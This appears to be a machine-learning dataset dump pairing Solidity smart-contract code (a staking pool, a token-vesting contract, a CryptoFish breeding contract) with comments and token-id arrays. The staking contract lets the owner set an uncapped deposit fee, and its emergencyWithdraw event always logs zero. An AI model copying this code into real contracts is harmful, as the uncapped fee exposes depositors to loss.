(uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from); } else if (_from >= bonusEndBlock) { return 0; } else { return bonusEndBlock.sub(_from); } } // View function to see pending Reward on frontend. function pendingReward(address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[_user]; uint256 accCakePerShare = pool.accCakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 cakeReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCakePerShare = accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 cakeReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accCakePerShare = pool.accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Stake SYRUP tokens to SmartChef function deposit(uint256 _amount) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; // require (_amount.add(user.amount) <= maxStaking, 'exceed max stake'); updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { rewardToken.safeTransfer(address(msg.sender), pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); uint256 localDepositFee = 0; if(depositFee > 0){ localDepositFee = _amount.mul(depositFee).div(10000); pool.lpToken.safeTransfer(feeReceiver, localDepositFee); } user.amount = user.amount.add(_amount).sub(localDepositFee); } user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12); emit Deposit(msg.sender, _amount); } // Withdraw SYRUP tokens from STAKING. function withdraw(uint256 _amount) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(0); uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { rewardToken.safeTransfer(address(msg.sender), pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12); emit Withdraw(msg.sender, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); user.amount = 0; user.rewardDebt = 0; emit EmergencyWithdraw(msg.sender, user.amount); } function changeDepositFee(uint256 _depositFee) public onlyOwner{ depositFee = _depositFee; } // Withdraw reward. EMERGENCY ONLY. function emergencyRewardWithdraw(uint256 _amount) public onlyOwner { require(_amount < rewardToken.balanceOf(address(this)), 'not enough token'); rewardToken.safeTransfer(address(msg.sender), _amount); } function changeFeeReceiver(address new_receiver) public { require(msg.sender == feeReceiver, "cant do that"); feeReceiver = new_receiver; } }
Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); user.amount = 0; user.rewardDebt = 0; emit EmergencyWithdraw(msg.sender, user.amount); }
2,140,717
[ 1, 1190, 9446, 2887, 5926, 310, 2973, 283, 6397, 18, 7141, 654, 16652, 16068, 20747, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 801, 24530, 1190, 9446, 1435, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 20, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 3576, 18, 15330, 15533, 203, 3639, 2845, 18, 9953, 1345, 18, 4626, 5912, 12, 2867, 12, 3576, 18, 15330, 3631, 729, 18, 8949, 1769, 203, 3639, 729, 18, 8949, 273, 374, 31, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 374, 31, 203, 3639, 3626, 512, 6592, 75, 2075, 1190, 9446, 12, 3576, 18, 15330, 16, 729, 18, 8949, 1769, 203, 565, 289, 203, 377, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x99801793f905c0e3D3F0E66c2Ece41fCA6b5f66c/sources/browser/HXB_EXCHANGE.sol
///ADMIN ONLY///toggle transform room on/off
{ function LockRefTokens(uint amt, address ref) internal } function UnlockRefTokens() public synchronized } function LockTransformTokens(uint amt, address transformer) internal } function UnlockTransformTokens() public synchronized } function isLockFinished() public view returns(bool) } function toggleRoundActive(bool active) public onlyAdmins if(active){ roomActive = true; } else{ roomActive = false; } }
9,725,029
[ 1, 28111, 15468, 20747, 28111, 14401, 2510, 7725, 603, 19, 3674, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 565, 445, 3488, 1957, 5157, 12, 11890, 25123, 16, 1758, 1278, 13, 203, 3639, 2713, 203, 565, 289, 203, 203, 565, 445, 3967, 1957, 5157, 1435, 203, 3639, 1071, 203, 3639, 3852, 203, 565, 289, 203, 377, 203, 565, 445, 3488, 4059, 5157, 12, 11890, 25123, 16, 1758, 8360, 13, 203, 3639, 2713, 203, 565, 289, 203, 377, 203, 565, 445, 3967, 4059, 5157, 1435, 203, 3639, 1071, 203, 3639, 3852, 203, 565, 289, 203, 377, 203, 565, 445, 353, 2531, 10577, 1435, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 12, 6430, 13, 203, 565, 289, 203, 377, 203, 203, 565, 445, 10486, 11066, 3896, 12, 6430, 2695, 13, 203, 3639, 1071, 203, 3639, 1338, 4446, 87, 203, 3639, 309, 12, 3535, 15329, 203, 5411, 7725, 3896, 273, 638, 31, 203, 3639, 289, 203, 3639, 469, 95, 203, 5411, 7725, 3896, 273, 629, 31, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity =0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract SHO is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; uint32 constant HUNDRED_PERCENT = 1e6; struct User { // for option 0 the fee may increase when claiming // for option 1 users, only the owner can increase their fees to 100% (due to an off-chain non-compliance) uint8 option; uint128 allocation; uint32 unlockedBatchesCount; uint32 feePercentageCurrentUnlock; uint32 feePercentageNextUnlock; uint128 totalUnlocked; uint128 totalClaimed; } mapping(address => User) public users; IERC20 public immutable shoToken; uint64 public immutable startTime; uint32 public passedUnlocksCount; uint32[] public unlockPercentages; uint32[] public unlockPeriods; uint128 public globalTotalAllocation; address public immutable feeCollector; uint32 public immutable initialFeePercentage; uint32 public collectedUnlocksCount; uint128[] public extraFees; event Whitelist( address user, uint128 allocation, uint8 option ); event UserElimination( address user, uint32 currentUnlock, uint128 unlockedTokens, uint32 increasedFeePercentage ); event FeeCollection( uint32 currentUnlock, uint128 totalFee, uint128 baseFee, uint128 extraFee ); event Claim( address user, uint32 currentUnlock, uint128 unlockedTokens, uint32 increasedFeePercentage, uint128 receivedTokens ); event Update ( uint32 passedUnlocksCount, uint128 extraFeesAdded ); modifier onlyFeeCollector() { require(feeCollector == msg.sender, "SHO: caller is not the fee collector"); _; } modifier onlyWhitelisted() { require(users[msg.sender].allocation > 0, "SHO: caller is not whitelisted"); _; } /** @param _shoToken token that whitelisted users claim @param _unlockPercentagesDiff array of unlock percentages as differentials (how much of total user's whitelisted allocation can a user claim per unlock) @param _unlockPeriodsDiff array of unlock periods as differentials (when unlocks happen from startTime) @param _initialFeePercentage initial fee in percentage @param _feeCollector EOA that can collect fees @param _startTime when users can start claiming */ constructor( IERC20 _shoToken, uint32[] memory _unlockPercentagesDiff, uint32[] memory _unlockPeriodsDiff, uint32 _initialFeePercentage, address _feeCollector, uint64 _startTime ) { require(address(_shoToken) != address(0), "SHO: sho token zero address"); require(_unlockPercentagesDiff.length > 0, "SHO: 0 unlock percentages"); require(_unlockPercentagesDiff.length <= 200, "SHO: too many unlock percentages"); require(_unlockPeriodsDiff.length == _unlockPercentagesDiff.length, "SHO: different array lengths"); require(_initialFeePercentage <= HUNDRED_PERCENT, "SHO: initial fee percentage higher than 100%"); require(_feeCollector != address(0), "SHO: fee collector zero address"); require(_startTime > block.timestamp, "SHO: start time must be in future"); // build arrays of sums for easier calculations uint32[] memory _unlockPercentages = _buildArraySum(_unlockPercentagesDiff); uint32[] memory _unlockPeriods = _buildArraySum(_unlockPeriodsDiff); require(_unlockPercentages[_unlockPercentages.length - 1] == HUNDRED_PERCENT, "SHO: invalid unlock percentages"); shoToken = _shoToken; unlockPercentages = _unlockPercentages; unlockPeriods = _unlockPeriods; initialFeePercentage = _initialFeePercentage; feeCollector = _feeCollector; startTime = _startTime; extraFees = new uint128[](_unlockPercentagesDiff.length); } /** Whitelisting shall be allowed only until the SHO token is received for security reasons. @param userAddresses addresses to whitelist @param allocations users total allocation */ function whitelistUsers( address[] calldata userAddresses, uint128[] calldata allocations, uint8[] calldata options ) external onlyOwner { require(shoToken.balanceOf(address(this)) == 0, "SHO: whitelisting too late"); require(userAddresses.length != 0, "SHO: zero length array"); require(userAddresses.length == allocations.length, "SHO: different array lengths"); require(userAddresses.length == options.length, "SHO: different array lengths"); uint128 _globalTotalAllocation; for (uint256 i = 0; i < userAddresses.length; i++) { User storage user = users[userAddresses[i]]; require(user.allocation == 0, "SHO: some users are already whitelisted"); require(options[i] < 2, "SHO: invalid user option"); user.option = options[i]; user.allocation = allocations[i]; user.feePercentageCurrentUnlock = initialFeePercentage; user.feePercentageNextUnlock = initialFeePercentage; _globalTotalAllocation += allocations[i]; emit Whitelist( userAddresses[i], allocations[i], options[i] ); } globalTotalAllocation = _globalTotalAllocation; } /** Increases an option 1 user's next unlock fee to 100%. @param userAddresses whitelisted user addresses to eliminate */ function eliminateOption1Users(address[] calldata userAddresses) external onlyOwner { update(); require(passedUnlocksCount > 0, "SHO: no unlocks passed"); uint32 currentUnlock = passedUnlocksCount - 1; require(currentUnlock < unlockPeriods.length - 1, "SHO: eliminating in the last unlock"); for (uint256 i = 0; i < userAddresses.length; i++) { address userAddress = userAddresses[i]; User memory user = users[userAddress]; require(user.option == 1, "SHO: some user not option 1"); require(user.feePercentageNextUnlock < HUNDRED_PERCENT, "SHO: some user already eliminated"); uint128 unlockedTokens = _unlockUserTokens(user); uint32 increasedFeePercentage = _updateUserFee(user, HUNDRED_PERCENT); users[userAddress] = user; emit UserElimination( userAddress, currentUnlock, unlockedTokens, increasedFeePercentage ); } } /** It's important that the fees are collectable not depedning on if users are claiming, otherwise the fees could be collected when users claim. */ function collectFees() external onlyFeeCollector nonReentrant returns (uint128 baseFee, uint128 extraFee) { update(); require(collectedUnlocksCount < passedUnlocksCount, "SHO: no fees to collect"); uint32 currentUnlock = passedUnlocksCount - 1; uint32 lastUnlockPercentage = collectedUnlocksCount > 0 ? unlockPercentages[collectedUnlocksCount - 1] : 0; uint128 lastExtraFee = collectedUnlocksCount > 0 ? extraFees[collectedUnlocksCount - 1] : 0; uint128 globalAllocation = globalTotalAllocation * (unlockPercentages[currentUnlock] - lastUnlockPercentage) / HUNDRED_PERCENT; baseFee = globalAllocation * initialFeePercentage / HUNDRED_PERCENT; extraFee = extraFees[currentUnlock] - lastExtraFee; uint128 totalFee = baseFee + extraFee; collectedUnlocksCount = currentUnlock + 1; shoToken.safeTransfer(msg.sender, totalFee); emit FeeCollection( currentUnlock, totalFee, baseFee, extraFee ); } /** Users can choose how much they want to claim and depending on that (ratio totalClaimed / totalUnlocked), their fee for the next unlocks increases or not. @param amountToClaim needs to be less or equal to the available amount */ function claim( uint128 amountToClaim ) external onlyWhitelisted nonReentrant returns ( uint128 unlockedTokens, uint32 increasedFeePercentage, uint128 availableToClaim, uint128 receivedTokens ) { update(); User memory user = users[msg.sender]; require(passedUnlocksCount > 0, "SHO: no unlocks passed"); require(amountToClaim <= user.allocation, "SHO: amount to claim higher than allocation"); uint32 currentUnlock = passedUnlocksCount - 1; unlockedTokens = _unlockUserTokens(user); availableToClaim = user.totalUnlocked - user.totalClaimed; require(availableToClaim > 0, "SHO: no tokens to claim"); receivedTokens = amountToClaim > availableToClaim ? availableToClaim : amountToClaim; user.totalClaimed += receivedTokens; if (user.option == 0) { uint32 claimedRatio = uint32(user.totalClaimed * HUNDRED_PERCENT / user.totalUnlocked); increasedFeePercentage = _updateUserFee(user, claimedRatio); } users[msg.sender] = user; shoToken.safeTransfer(msg.sender, receivedTokens); emit Claim( msg.sender, currentUnlock, unlockedTokens, increasedFeePercentage, receivedTokens ); } /** Updates passedUnlocksCount. If there's a new unlock that is not the last unlock, it updates extraFees array of the next unlock by using the extra fees of the new unlock. */ function update() public { require(block.timestamp >= startTime, "SHO: before startTime"); uint256 timeSinceStart = block.timestamp - startTime; uint256 maxReleases = unlockPeriods.length; uint32 _passedUnlocksCount = passedUnlocksCount; while (_passedUnlocksCount < maxReleases && timeSinceStart >= unlockPeriods[_passedUnlocksCount]) { _passedUnlocksCount++; } if (_passedUnlocksCount > passedUnlocksCount) { passedUnlocksCount = _passedUnlocksCount; uint32 currentUnlock = _passedUnlocksCount - 1; uint128 extraFeesAdded; if (currentUnlock < unlockPeriods.length - 1) { if (extraFees[currentUnlock + 1] == 0) { uint32 unlockPercentageDiffCurrent = currentUnlock > 0 ? unlockPercentages[currentUnlock] - unlockPercentages[currentUnlock - 1] : unlockPercentages[currentUnlock]; uint32 unlockPercentageDiffNext = unlockPercentages[currentUnlock + 1] - unlockPercentages[currentUnlock]; extraFeesAdded = extraFees[currentUnlock + 1] = extraFees[currentUnlock] + unlockPercentageDiffNext * extraFees[currentUnlock] / unlockPercentageDiffCurrent; } } emit Update(_passedUnlocksCount, extraFeesAdded); } } function _updateUserFee(User memory user, uint32 potentiallyNextFeePercentage) private returns (uint32 increasedFeePercentage) { uint32 currentUnlock = passedUnlocksCount - 1; if (currentUnlock < unlockPeriods.length - 1) { if (potentiallyNextFeePercentage > user.feePercentageNextUnlock) { increasedFeePercentage = potentiallyNextFeePercentage - user.feePercentageNextUnlock; user.feePercentageNextUnlock = potentiallyNextFeePercentage; uint128 tokensNextUnlock = user.allocation * (unlockPercentages[currentUnlock + 1] - unlockPercentages[currentUnlock]) / HUNDRED_PERCENT; uint128 extraFee = tokensNextUnlock * increasedFeePercentage / HUNDRED_PERCENT; extraFees[currentUnlock + 1] += extraFee; } } } function _unlockUserTokens(User memory user) private view returns (uint128 unlockedTokens) { uint32 currentUnlock = passedUnlocksCount - 1; if (user.unlockedBatchesCount <= currentUnlock) { user.feePercentageCurrentUnlock = user.feePercentageNextUnlock; uint32 lastUnlockPercentage = user.unlockedBatchesCount > 0 ? unlockPercentages[user.unlockedBatchesCount - 1] : 0; unlockedTokens = user.allocation * (unlockPercentages[currentUnlock] - lastUnlockPercentage) / HUNDRED_PERCENT; unlockedTokens -= unlockedTokens * user.feePercentageCurrentUnlock / HUNDRED_PERCENT; user.totalUnlocked += unlockedTokens; user.unlockedBatchesCount = currentUnlock + 1; } } function _buildArraySum(uint32[] memory diffArray) internal pure returns (uint32[] memory) { uint256 len = diffArray.length; uint32[] memory sumArray = new uint32[](len); uint32 lastSum = 0; for (uint256 i = 0; i < len; i++) { if (i > 0) { lastSum = sumArray[i - 1]; } sumArray[i] = lastSum + diffArray[i]; } return sumArray; } }
build arrays of sums for easier calculations
) { require(address(_shoToken) != address(0), "SHO: sho token zero address"); require(_unlockPercentagesDiff.length > 0, "SHO: 0 unlock percentages"); require(_unlockPercentagesDiff.length <= 200, "SHO: too many unlock percentages"); require(_unlockPeriodsDiff.length == _unlockPercentagesDiff.length, "SHO: different array lengths"); require(_initialFeePercentage <= HUNDRED_PERCENT, "SHO: initial fee percentage higher than 100%"); require(_feeCollector != address(0), "SHO: fee collector zero address"); require(_startTime > block.timestamp, "SHO: start time must be in future"); uint32[] memory _unlockPercentages = _buildArraySum(_unlockPercentagesDiff); uint32[] memory _unlockPeriods = _buildArraySum(_unlockPeriodsDiff); require(_unlockPercentages[_unlockPercentages.length - 1] == HUNDRED_PERCENT, "SHO: invalid unlock percentages"); shoToken = _shoToken; unlockPercentages = _unlockPercentages; unlockPeriods = _unlockPeriods; initialFeePercentage = _initialFeePercentage; feeCollector = _feeCollector; startTime = _startTime; extraFees = new uint128[](_unlockPercentagesDiff.length); } @param userAddresses addresses to whitelist @param allocations users total allocation
1,807,085
[ 1, 3510, 5352, 434, 26608, 364, 15857, 20882, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 288, 203, 3639, 2583, 12, 2867, 24899, 674, 83, 1345, 13, 480, 1758, 12, 20, 3631, 315, 2664, 51, 30, 699, 83, 1147, 3634, 1758, 8863, 203, 3639, 2583, 24899, 26226, 8410, 1023, 5938, 18, 2469, 405, 374, 16, 315, 2664, 51, 30, 374, 7186, 5551, 1023, 8863, 203, 3639, 2583, 24899, 26226, 8410, 1023, 5938, 18, 2469, 1648, 4044, 16, 315, 2664, 51, 30, 4885, 4906, 7186, 5551, 1023, 8863, 203, 3639, 2583, 24899, 26226, 30807, 5938, 18, 2469, 422, 389, 26226, 8410, 1023, 5938, 18, 2469, 16, 315, 2664, 51, 30, 3775, 526, 10917, 8863, 203, 3639, 2583, 24899, 6769, 14667, 16397, 1648, 670, 5240, 5879, 67, 3194, 19666, 16, 315, 2664, 51, 30, 2172, 14036, 11622, 10478, 2353, 2130, 9, 8863, 203, 3639, 2583, 24899, 21386, 7134, 480, 1758, 12, 20, 3631, 315, 2664, 51, 30, 14036, 8543, 3634, 1758, 8863, 203, 3639, 2583, 24899, 1937, 950, 405, 1203, 18, 5508, 16, 315, 2664, 51, 30, 787, 813, 1297, 506, 316, 3563, 8863, 203, 203, 3639, 2254, 1578, 8526, 3778, 389, 26226, 8410, 1023, 273, 389, 3510, 1076, 3495, 24899, 26226, 8410, 1023, 5938, 1769, 203, 3639, 2254, 1578, 8526, 3778, 389, 26226, 30807, 273, 389, 3510, 1076, 3495, 24899, 26226, 30807, 5938, 1769, 203, 3639, 2583, 24899, 26226, 8410, 1023, 63, 67, 26226, 8410, 1023, 18, 2469, 300, 404, 65, 422, 670, 5240, 5879, 67, 3194, 19666, 16, 315, 2664, 51, 30, 2057, 7186, 5551, 1023, 8863, 203, 203, 3639, 699, 83, 1345, 273, 389, 674, 83, 1345, 2 ]
pragma solidity ^0.4.23; ////////// ////////// ////////// Library SafeMath ////////// ////////// /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } ////////// ////////// ////////// Contract Ownable ////////// ////////// /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); address public owner; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ /*function Ownable() public { owner = msg.sender; }*/ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyOwner whenNotPaused { paused = true; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } ////////// ////////// ////////// Contract FishFactory ////////// ////////// contract FishFactory is Ownable { using SafeMath for uint256; /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new fish comes into existence. This obviously /// includes any time a fish is created through the giveBirth method, but it is also called /// when a new gen0 fish is created. event Birth(address owner, uint32 fishId, uint32 matronId, uint32 sireId, uint256 genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a fish /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Fish struct. Every fish in CryptoFish is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Fish { // The Fish's genetic code is packed into these 256-bits, the format is // sooper-sekret! A fish's genes never change. uint256 genes; // The timestamp from the block when this Fish came into existence. uint64 birthTime; // The minimum timestamp after which this cat can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this Fish, set to 0 for gen0 Fishes. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion Fishes. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire Fish for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a Fish // is pregnant. Used to retrieve the genetic material for the new // Fish when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Fish. This starts at zero // for gen0 Fishes, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this Fish is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this Fish. Fishes minted by the CK contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other Fishes is the larger of the two generation // numbers of their parents, plus one. // (i.e. 